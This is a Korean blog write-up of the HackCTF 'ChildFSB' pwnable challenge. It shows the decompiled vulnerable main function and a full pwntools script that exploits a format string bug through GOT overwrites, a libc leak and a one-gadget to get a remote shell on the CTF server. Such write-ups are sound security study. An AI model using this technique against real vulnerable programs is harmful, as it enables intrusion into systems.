HackCTF - ChildFSB

2021. 7. 8. 10:00Pwnable

중간에 버퍼 꼬여서 5시간 걸린 문제이다.

FSB공부하는 중이지만 버퍼안꼬였으면 2시간이면 풀 문제였는데 5시간이 걸렸다니 마음이 아프다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  Init();
  puts("hello");
  read(0, buf, 25uLL);
  printf(buf);
  return 0;
}

버퍼가 공간이 부족하기에 main loop를 만든 후에 나눠서 입력하면 된다.

1. main loop 생성하기(__stack_chk_fail 을 main으로)

2. libc leak하기(__libc_start_main 사용)

3. oneshot을 setbuf.got에 덮기

4. __stack_chk_fail 을 setbuf을 호출하는 부분으로 덮기

코드는 아래와 같습니다.

from pwn import *

r = process("./childfsb")
e = ELF("./childfsb")
l = e.libc
#0x7f621b6e42a1
r = remote("ctf.j0n9hyun.xyz", 3037)
l = ELF("./libc.so.6")
context.log_level = "debug"

main_add = e.sym['main'] #0x40075f
__stack_chk_fail_got = e.got['__stack_chk_fail'] #0x601020
__libc_start_main_offset  = l.sym['__libc_start_main'] #0x21ab0
setbuf_got = e.got['setbuf'] #0x601028
#one_shot_offset = [0x4f2c5, 0x4f322, 0x10a38c]
one_shot_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
init_add = 0x400757
main_loop_add = 0x75f + (main_add - 0x000000000040076d) + 0x21

log.info("main_add = " + hex(main_add))
log.info("__stack_chk_fail_got = " + hex(__stack_chk_fail_got))
log.info("__libc_start_main_offset = " + hex(__libc_start_main_offset))
log.info("setbuf_got = " + hex(setbuf_got))

pause()
#make loop
pay = ""
pay += "%11$p"
pay += "%" + str(main_loop_add) + "c%8$hn"
pay += p64(__stack_chk_fail_got)
pay += "A"*(25-len(pay))
print(pay)
print(len(pay))
r.sendafter("hello\n" ,pay)
#0x00007ff39d845b97

__libc_start_main_leak = int(r.recv(14), 16)
__libc_start_main_add = __libc_start_main_leak - 240
libc_base_add = __libc_start_main_add - l.sym['__libc_start_main']
one_shot_add = libc_base_add + one_shot_offset[0]

log.info("__libc_start_main_leak = " + hex(__libc_start_main_leak))
log.info("libc_base_add = " + hex(libc_base_add))
log.info("one_shot_add = " + hex(one_shot_add))

one_shot_low = one_shot_add & 0xffff
one_shot_middle = (one_shot_add >> 16) & 0xffff
one_shot_high = (one_shot_add >> 32) & 0xffff


log.info("one_shot_low")
pay = ""
pay += "%" + str(one_shot_low) + "c%9$hn"
pay += "A"*(16-len(pay))
pay += p64(setbuf_got)
pay += "A"*(25-len(pay))
r.sendafter("hello\n", pay)
pause()

log.info("one_shot_middle")
pay = ""
pay += "%" + str(one_shot_middle) + "c%10$hn"
pay += "A"*(16-len(pay))
pay += p64(setbuf_got+2)
pay += "A"*(25-len(pay))
r.sendafter("hello\n", pay)
print(r.recv())
pause()

pay = ""
pay += "%" + str(one_shot_high) + "c%11$hn"
pay += "A"*(16-len(pay))
pay += p64(setbuf_got+4)
pay += "A"*(25-len(pay))
r.sendafter("hello\n", pay)
pause()

pay = ""
pay += "%" + str(init_add&0xffff) + "c%12$hn"
pay += "A"*(16-len(pay))
pay += p64(__stack_chk_fail_got)
pay += "A"*(25-len(pay))
r.send(pay)

r.interactive()

 

'Pwnable' 카테고리의 다른 글

dreamhack.io - validator  (0) 2021.07.13
HackCTF - ezshell  (0) 2021.07.13
HackCTF - ChildHeap  (0) 2021.07.02
HackCTF - babyfsb  (0) 2021.06.26
PuTTy 설치 & 한글깨짐  (0) 2018.02.28